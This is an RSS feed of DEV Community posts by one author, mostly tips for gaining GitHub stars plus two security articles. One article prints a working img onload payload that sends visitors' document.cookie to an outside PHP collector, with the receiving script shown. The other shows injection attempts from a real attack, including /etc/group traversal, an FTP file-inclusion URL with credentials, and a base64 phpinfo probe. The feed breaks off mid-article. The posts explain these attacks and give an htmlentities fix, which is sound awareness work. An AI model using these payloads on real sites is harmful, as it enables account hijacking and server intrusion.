<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: nastyox</title>
    <description>The latest articles on DEV Community by nastyox (@nastyox1).</description>
    <link>https://dev.to/nastyox1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F347560%2Fde17d6e7-ea18-4deb-bad2-7d2083315f55.jpg</url>
      <title>DEV Community: nastyox</title>
      <link>https://dev.to/nastyox1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nastyox1"/>
    <language>en</language>
    <item>
      <title>1 Step to Incentivize Stars and Forks on GitHub</title>
      <dc:creator>nastyox</dc:creator>
      <pubDate>Tue, 27 Oct 2020 16:52:38 +0000</pubDate>
      <link>https://dev.to/nastyox1/1-step-to-incentivize-stars-and-forks-on-github-2md3</link>
      <guid>https://dev.to/nastyox1/1-step-to-incentivize-stars-and-forks-on-github-2md3</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ft4cneq0pblxhd1knmxwl.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ft4cneq0pblxhd1knmxwl.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As developers, we put a lot of work into our GitHub repos to make them as useful as possible for others, but great projects sometimes go under-appreciated, and under-starred. Asking for stars is tacky, but publicly thanking your supporters by name in your README file is a sign of appreciation that &lt;strong&gt;happens&lt;/strong&gt; to incentivize more users to join the crowd. And implementation is just a copy and paste from &lt;a href="https://github.com/nastyox/Repo-Roster" rel="noopener noreferrer"&gt;my Repo Roster project&lt;/a&gt;. Wouldn't it be worth a click to you to see if your profile went live on a repo's README?&lt;/p&gt;

&lt;h1&gt;
  
  
  What does it look like?
&lt;/h1&gt;

&lt;p&gt;I like to use rosters as the footer of my README. Here's an example from my &lt;a href="https://github.com/nastyox/Rando.js" rel="noopener noreferrer"&gt;Rando.js repo&lt;/a&gt;:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3xnrhhbm1urvq8siqkir.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3xnrhhbm1urvq8siqkir.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  How do I implement it?
&lt;/h1&gt;

&lt;p&gt;You can copy the markdown from &lt;a href="https://github.com/nastyox/Repo-Roster" rel="noopener noreferrer"&gt;my Repo Roster repo&lt;/a&gt; and fill in your username/repo data manually, or you can visit the &lt;a href="https://reporoster.com" rel="noopener noreferrer"&gt;Repo Roster website&lt;/a&gt;, paste in a link to your personal repo, and copy the resulting markdown. Then, just paste that wherever you want it to appear in your README. &lt;strong&gt;That's all there is to it!&lt;/strong&gt; From then on, data about your supporters will automatically update right in your README.md file.&lt;/p&gt;

</description>
      <category>github</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Stealing Accounts with an IMG Tag</title>
      <dc:creator>nastyox</dc:creator>
      <pubDate>Thu, 06 Aug 2020 12:03:07 +0000</pubDate>
      <link>https://dev.to/nastyox1/stealing-accounts-with-an-img-tag-10mk</link>
      <guid>https://dev.to/nastyox1/stealing-accounts-with-an-img-tag-10mk</guid>
      <description>&lt;p&gt;Imagine I'm telling you how awesome it was to be &lt;a href="https://twitter.com/JavaScriptDaily/status/1277550378545004544" rel="noopener noreferrer"&gt;tweeted about&lt;/a&gt; by a page on twitter, and I show you this image:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fnastyox.com%2Fimages%2Frando-js-tweet" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fnastyox.com%2Fimages%2Frando-js-tweet" alt="Rando.js on JavaScript Daily"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That seems innocent enough. You you've just seen me get excited about something and share an image with you. You've learned a little bit about me, but you may not realize that I've also learned a little bit about you... like potentially where you live. Is this close?&lt;/p&gt;

&lt;p&gt;&lt;iframe height="600" src="https://codepen.io/nastyox/embed/GRZRPZy?height=600&amp;amp;default-tab=result&amp;amp;embed-version=2"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Unless you're using a VPN, that might have caught you off guard. Don't worry; I'm not storing any data about you. I'm just making a point. &amp;lt;img&amp;gt; tags can be abused to scrape data from users. Hackers can even exploit this to steal other users' online accounts without them ever having a clue. I'll show you how.&lt;/p&gt;

&lt;h1&gt;
  
  
  Using images to scrape viewer data
&lt;/h1&gt;

&lt;p&gt;Let's look at the code for the image above:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://nastyox.com/images/rando-js-tweet"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Rando.js on JavaScript Daily"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The dirty little secret is that there's a reason that URL is missing an image file extension at the end. It's &lt;em&gt;not&lt;/em&gt; an image; it's a PHP file, and that PHP file grabs your IP address and has a jolly old time with it before returning some image data to mimic an image URL. It's as easy as this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;

&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="c1"&gt;//do whatever I want with the IP...&lt;/span&gt;

    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"rando-js-tweet.png"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now, if you've ever looked into web development at all, you know that everyone and their mother grabs your IP address and uses it to track you across the web. That's not new. What gets dangerous is when you start sending other data along with the URL.&lt;/p&gt;

&lt;h1&gt;
  
  
  Stealing accounts
&lt;/h1&gt;

&lt;p&gt;I'm not actually going to set up a live showcase for this because I believe it's illegal, but I will give you real code that hackers can actually use to steal your account- because it's important to know what you're up against when it comes to web security. Here's the code:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://nastyox.com/images/fake-sample-url"&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"var i=0;if(i++)this.src+='?c='+encodeURIComponent(document.cookie);"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;All this code does is call the PHP file provided in the src with &lt;code&gt;document.cookie&lt;/code&gt; as a parameter. If you post this code to a comment section, forum, or other platform that's not actively guarding against &lt;a href="https://www.hackingarticles.in/comprehensive-guide-on-html-injection/" rel="noopener noreferrer"&gt;HTML injection&lt;/a&gt;, everyone that loads the image will unwittingly send their cookie data to your PHP file, which can grab the cookie data as simply as this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;

&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;rawurldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"c"&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="c1"&gt;//browse your cookies for info that'll let me mimic your login...&lt;/span&gt;

    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"rando-js-tweet.png"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Everything you need to get into someone's account is usually stored right there in their &lt;code&gt;document.cookie&lt;/code&gt;. If it's not there, you can poke around in their &lt;code&gt;window.localStoarge&lt;/code&gt;, &lt;code&gt;window.sessionStorage&lt;/code&gt;, or any other client-side storage until you find what you want. This exploit requires neglect on the part of the web developer, but believe me, it happens.&lt;/p&gt;

&lt;h1&gt;
  
  
  A real-life example
&lt;/h1&gt;

&lt;p&gt;In July of 2016, Pokemon GO hit phones across the world and gained a tremendous 45m daily active users within just two weeks. By August of that same year, players uncovered this neat little trick:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fsj256389kx258h5aysnw.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fsj256389kx258h5aysnw.jpg" alt="Pokemon GO nickname hack"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yes, this really happened. Players were writing HTML in the names of their pokemon, and it was executing. I can't remember if you could see other players' pokemon on your device at that point or if accounts handled payment information, but you can imagine that the devs flipped out. I heard about name bolding/italicizing one night, and it was fixed the next morning.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdvfhl9y6th71cje0bcgj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdvfhl9y6th71cje0bcgj.png" alt="Lock"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you just realized that you're vulnerable to this sort of attack, use &lt;a href="https://www.php.net/manual/en/function.htmlentities.php" rel="noopener noreferrer"&gt;htmlentities&lt;/a&gt; for PHP (or similar methods for other languages) to protect your users like so:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;

&lt;span class="nv"&gt;$postedText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;htmlentities&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$postedText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;//Now, we can safely show other users this escaped text&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;It's just that simple. This will escape any HTML tags (including img tags) that hackers try to inject with their posted text. It's not just you that forgets to do this; it happens to the big guys too every now and then.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>9 Steps to Get 100 Stars on GitHub</title>
      <dc:creator>nastyox</dc:creator>
      <pubDate>Sun, 28 Jun 2020 15:17:53 +0000</pubDate>
      <link>https://dev.to/nastyox1/8-concrete-steps-to-get-stars-on-github-355c</link>
      <guid>https://dev.to/nastyox1/8-concrete-steps-to-get-stars-on-github-355c</guid>
      <description>&lt;p&gt;We should start off with proof that this works. Here's a screenshot of the recent viewer analytics for &lt;a href="https://github.com/nastyox/Rando.js" rel="noopener noreferrer"&gt;my GitHub repo&lt;/a&gt;, which has just started to take off:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp9t3qhrpf68acq5k255p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fp9t3qhrpf68acq5k255p.png" alt="GitHub viewer analytics"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's clear from this chart that I spent a little while trying to get stars in ways that flat-out don't work before I found the ways that do. I'm here to help you cut through the crap and focus on the methods that work.&lt;/p&gt;

&lt;h1&gt;
  
  
  1. Create a READ-ME with a pretty top section
&lt;/h1&gt;

&lt;p&gt;Your READ-ME file is like your repo’s homepage. A good percentage of people will star your project just because it looks good, and not all users will scroll down past the top of your READ-ME, so make the top part as pretty as possible. Here’s &lt;a href="https://help.github.com/en/enterprise/2.14/user/articles/initializing-an-empty-repository-with-a-readme" rel="noopener noreferrer"&gt;how to create a READ-ME&lt;/a&gt;, and here’s &lt;a href="https://jbt.github.io/markdown-editor/" rel="noopener noreferrer"&gt;a place to practice your markdown&lt;/a&gt; if needed. A recipe for success is a well-designed logo with a tagline underneath followed by &lt;a href="https://shields.io/category/rating" rel="noopener noreferrer"&gt;shields&lt;/a&gt; and then a colorful splash image. Here's what I did with my repo; it's animated, so you can &lt;a href="https://github.com/nastyox/Rando.js" rel="noopener noreferrer"&gt;click here if you care to see it live&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fmk6vni95iwmhf8k8dr3r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fmk6vni95iwmhf8k8dr3r.png" alt="Rando.js READ-ME"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  2. Be concise
&lt;/h1&gt;

&lt;p&gt;People have incredibly short attention spans. Cut all the excess wording out of your READ-ME and get down to brass tacks. If possible, show the user how to use your project in a quick gif. Here’s how to record your screen on a &lt;a href="https://support.apple.com/en-us/HT208721#:~:text=Use%20Shift%2DCommand%2D5,screen%20with%20QuickTime%20Player%20instead." rel="noopener noreferrer"&gt;Mac&lt;/a&gt; and &lt;a href="https://www.youtube.com/watch?v=TOxzIeIUKjY" rel="noopener noreferrer"&gt;PC&lt;/a&gt;. Here’s the best online &lt;a href="https://ezgif.com/video-to-gif" rel="noopener noreferrer"&gt;video to gif converter&lt;/a&gt; I’ve found.&lt;/p&gt;

&lt;h1&gt;
  
  
  3. Choose an open license
&lt;/h1&gt;

&lt;p&gt;People don’t like when you’re selling them something. If possible, &lt;a href="https://help.github.com/en/github/building-a-strong-community/adding-a-license-to-a-repository" rel="noopener noreferrer"&gt;create a license&lt;/a&gt; for your repo that opens it up for free use. I chose the “&lt;a href="https://github.com/nastyox/Rando.js/blob/master/LICENSE" rel="noopener noreferrer"&gt;Unlicense License&lt;/a&gt;”. This will be featured next to your READ-ME, and people will see it.&lt;/p&gt;

&lt;h1&gt;
  
  
  4. Have stars
&lt;/h1&gt;

&lt;p&gt;It’s weird, but people are more willing to star your project if they see that others have already done so. Ask your friends to star your project to get the ball rolling. Do not create fake GitHub accounts to star your own project. GitHub will catch you after about 4 accounts, guaranteed.&lt;/p&gt;

&lt;h1&gt;
  
  
  5. Upload an eye-catching social card
&lt;/h1&gt;

&lt;p&gt;When people share a link to your GitHub repo, it’ll be accompanied by whatever image you choose for your social card. Make it colorful enough to pop off the screen and provocative enough to be worth a click. Here’s &lt;a href="https://help.github.com/en/github/administering-a-repository/customizing-your-repositorys-social-media-preview" rel="noopener noreferrer"&gt;how to upload one&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fral38dyvzvlvp7ke166x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fral38dyvzvlvp7ke166x.png" alt="Rando.js GitHub social card"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  6. Advertise
&lt;/h1&gt;

&lt;p&gt;There are a lot of platforms to post your project to for free. The ones that have worked best for my JavaScript-based repo (in order) are &lt;a href="https://www.reddit.com/r/javascript/" rel="noopener noreferrer"&gt;r/javascript&lt;/a&gt;, &lt;a href="https://www.reddit.com/r/webdev/" rel="noopener noreferrer"&gt;r/webdev&lt;/a&gt;, and &lt;a href="https://www.reddit.com/r/npm/" rel="noopener noreferrer"&gt;r/npm&lt;/a&gt; on Reddit; Cooperpress- which runs the &lt;a href="https://cooperpress.com/publications/" rel="noopener noreferrer"&gt;the biggest coding email newsletters&lt;/a&gt; (&lt;a href="https://cooperpress.com/contact/" rel="noopener noreferrer"&gt;contact here&lt;/a&gt;); Dev.to; &lt;a href="https://news.hada.io/" rel="noopener noreferrer"&gt;Hada News&lt;/a&gt;; &lt;a href="https://www.echojs.com/" rel="noopener noreferrer"&gt;Echo JS&lt;/a&gt;; &lt;a href="https://news.ycombinator.com/" rel="noopener noreferrer"&gt;Hacker News&lt;/a&gt;; &lt;a href="https://www.producthunt.com/" rel="noopener noreferrer"&gt;Product Hunt&lt;/a&gt;; &lt;a href="https://twitter.com/" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;; &lt;a href="https://www.facebook.com/" rel="noopener noreferrer"&gt;Facebook&lt;/a&gt;; and &lt;a href="https://www.linkedin.com/feed/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;. &lt;a href="https://lobste.rs/" rel="noopener noreferrer"&gt;Lobsters&lt;/a&gt; is an invitation-only community that I don't have an in with yet, but you can post there as well if you do. If your repo is JavaScript-based like mine, you can also post to &lt;a href="https://www.javascripting.com/" rel="noopener noreferrer"&gt;JavaScripting&lt;/a&gt; once you reach 80 stars. Even interacting with other users' repos on &lt;a href="https://github.com/" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; through contributions/stars/follows can lead to visits to your own repo. Don't overdo it with GitHub interactions though; you'll get flagged or banned or spam.&lt;/p&gt;

&lt;h1&gt;
  
  
  7. Engage in developer communities
&lt;/h1&gt;

&lt;p&gt;Once you advertise on these communities, connect with people on them. They won’t find you unless you give them a reason to care that you exist. Find articles on Dev.to you like and actually like them/leave comments. Star projects on GitHub and contribute to other projects. Like and retweet people on Twitter.&lt;/p&gt;

&lt;h1&gt;
  
  
  8. Respond to feedback
&lt;/h1&gt;

&lt;p&gt;People will respond to your posts on these communities with advice. Tell them that you’ve heard them and actually change your project to fit what the public wants. They’re explicitly telling you how to make the project worth starring, so listen.&lt;/p&gt;

&lt;h1&gt;
  
  
  9. Shout-out your supporters
&lt;/h1&gt;

&lt;p&gt;Users are more likely to star/fork your repo if there's something in it for them. You can reward them by automatically displaying their username and avatar in your README with &lt;a href="https://github.com/nastyox/Repo-Roster" rel="noopener noreferrer"&gt;Repo Roster&lt;/a&gt;. Just paste a link to your repo into the website, and copy the resulting markdown into your README.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Freporoster.com%2Fimages%2Frepo-rosters-stargazers-and-forkers.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Freporoster.com%2Fimages%2Frepo-rosters-stargazers-and-forkers.png" alt="Repo Roster stargazers and forkers"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  And a bonus...
&lt;/h1&gt;

&lt;p&gt;You’re also welcome to leave your project in the comments here for others to check out, but please don’t just drop a spammy-looking link. Include your repo’s title and description with the link so people can get a sense of it at a glance. Something like "&lt;a href="https://github.com/nastyox/Rando.js" rel="noopener noreferrer"&gt;Rando.js&lt;/a&gt; is a micro-library that simplifies and secures randomness in JavaScript" is perfect. I’ll check them out too!&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>github</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Six Ways a Russian Hacker Attacked My Website</title>
      <dc:creator>nastyox</dc:creator>
      <pubDate>Mon, 16 Mar 2020 10:43:40 +0000</pubDate>
      <link>https://dev.to/nastyox1/six-ways-a-russian-hacker-attacked-my-website-4657</link>
      <guid>https://dev.to/nastyox1/six-ways-a-russian-hacker-attacked-my-website-4657</guid>
      <description>&lt;h1&gt;Six Ways a Russian Hacker Attacked My Website&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--becWg5-W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/3kscsp11eepwetue9aym.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--becWg5-W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/3kscsp11eepwetue9aym.png" width="70%" alt="search bar injection"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Until today, the "russian hacker" seemed like a piece of news-hyped fantasy. It turns out, that just isn't the case. They're real. They've attacked me, and they can attack you.&lt;/p&gt;

&lt;p&gt;I want to be very clear at the head of this, this article features REAL links to this russian hacker's files and everything I was able to trace back to him. I did not candy-coat anything at all. If you're uncomfortable clicking those links, don't. If you choose to click the links, use a VPN, avoid running his files on your computer, and be safe. I'm not responsible for anything that happens if you interact with his stuff.&lt;/p&gt;

&lt;p&gt;As you may have guessed after seeing my intro image, the hacker attacked me with &lt;b&gt;injections&lt;/b&gt; through an input on my webpage. Put simply, he typed code into a search bar to see if he could get my server to do what he wanted it to do instead of what I was telling it to do. Had I not been properly sanitizing the data I was collecting from this input, he would have been successful.&lt;/p&gt;

&lt;p&gt;Now, I'm not going to dance around what happened or try to tell you anything in an abstract way. I think it's important to know what hackers are trying these days so we know how to best protect ourselves. So, I've decided to include an actual screenshot of the "searches" this hacker typed into my search bar here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7rWznirI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1h44fdj817loa69l72fo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7rWznirI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/1h44fdj817loa69l72fo.png" width="70%" alt="injection attempts"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can ignore the 0's at the end of each line and the "groupSites0" at the beginning of each line. Those are search filters that have nothing to do with the malicious aspect of each of these searches. Let's get to the meat of these attack methods.&lt;/p&gt;

&lt;h2&gt;Attack #1: "etc/group" file searching&lt;/h2&gt;

&lt;p&gt;"&lt;a href="https://www.cyberciti.biz/faq/understanding-etcgroup-file/"&gt;etc/group&lt;/a&gt;" files are something I just learned about, and that's part of the reason this article is listed as a "discussion" piece. I'll tell you what I know, and please let me know in the comments if you have more to offer. To my knowledge, this hacker was assuming I use a Linix/UNIX operating system for my server. With Linix/UNIX operating systems, etc/group files contain a list of all users that have permissions for the server, which would be a great thing to have if you were trying to pretend to be me and gain access to my backend. The "../" here just means that he's trying to access parent directories within my backend's filesystem. That's not hugely relevant to the attack method here.&lt;/p&gt;

&lt;h2&gt;Attack #2: FTP file injection&lt;/h2&gt;

&lt;p&gt;This is by far my favorite attack that the hacker used. He was trying to upload a file to my server from his own, but he wasn't counting on me recording his searches for database backup purposes. By trying to connect his FTP to my server, he gave me access to his files. You see that URL in line 671 above? That's his real FTP, and you can visit it at &lt;a href="ftp://ref:ref@dahli.rosinter.ru:21"&gt;ftp://ref:ref@dahli.rosinter.ru:21&lt;/a&gt;, though I'll save you the trouble if you are understandably wary. I'm including a screenshot of his files available at that link here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M7KSBtZl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/o1r7oxj8jo8f9d92qj56.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M7KSBtZl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/o1r7oxj8jo8f9d92qj56.png" width="70%" alt="injection attempts"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;He has a lot of files about a company called &lt;a href="https://www.qlik.com/us/"&gt;Qlik&lt;/a&gt;, and his FTP's &lt;a href="http://rosinter.ru"&gt;parent domain&lt;/a&gt; either is or is pretending to be a Russian food company. That &lt;a href="ftp://ref:ref@dahli.rosinter.ru/test.txt"&gt;test.txt&lt;/a&gt; file you see there is what he was trying to upload to my server. What's in it? Nothing actually harmful, just a bit ominous.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lCHJVNwT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zz3qcdecv1y64nsz7qay.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lCHJVNwT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zz3qcdecv1y64nsz7qay.png" width="70%" alt="injection attempts"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Attack #3: "phpinfo" probing&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.php.net/manual/en/function.phpinfo.php"&gt;phpinfo&lt;/a&gt; basically tells you everything about my PHP settings. It'll tell you what version of PHP I'm operating on, how long I let scripts run for before automatically terminating them, what environment variables I'm trying to hide from prying eyes, and a ton of other juicy goodies. But really, what the hacker is looking for here is just to see whether he can get any info out of me at all. Before trying to figure out what my thousands of users' passwords are, it's easier to ask for phpinfo to see if I'm even vulnerable to an attack in the first place.&lt;/p&gt;

&lt;h2&gt;Attack #4: Base64 injection&lt;/h2&gt;

&lt;p&gt;This one's another phpinfo probe in disguise. Base64 strings are usually used as the text-formatted version of images, but this one is the text format of a PHP file. And when you decode &lt;b&gt;data:;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==&lt;/b&gt;, guess command you get? That's right, &amp;lt;?php phpinfo(); ?&amp;gt;. Feel free to try it yourself &lt;a href="https://base64.guru/converter/decode/image"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Attack #5: Further "etc/group" file searching&lt;/h2&gt;

&lt;p&gt;The attacker had no luck with his first "etc/group" file search, so he figured it'd be worth one more go in a different directory. No luck there either, but nice try.&lt;/p&gt;

&lt;h2&gt;Attack #6: w;w;w&lt;/h2&gt;

&lt;p&gt;I actually don't get this one. It almost seems like he's trying to set write permissions for himself? I'd love if the community could chip in in the comment section to let me know what this could be.&lt;/p&gt;

&lt;h2&gt;The Scariest Part...&lt;/h2&gt;

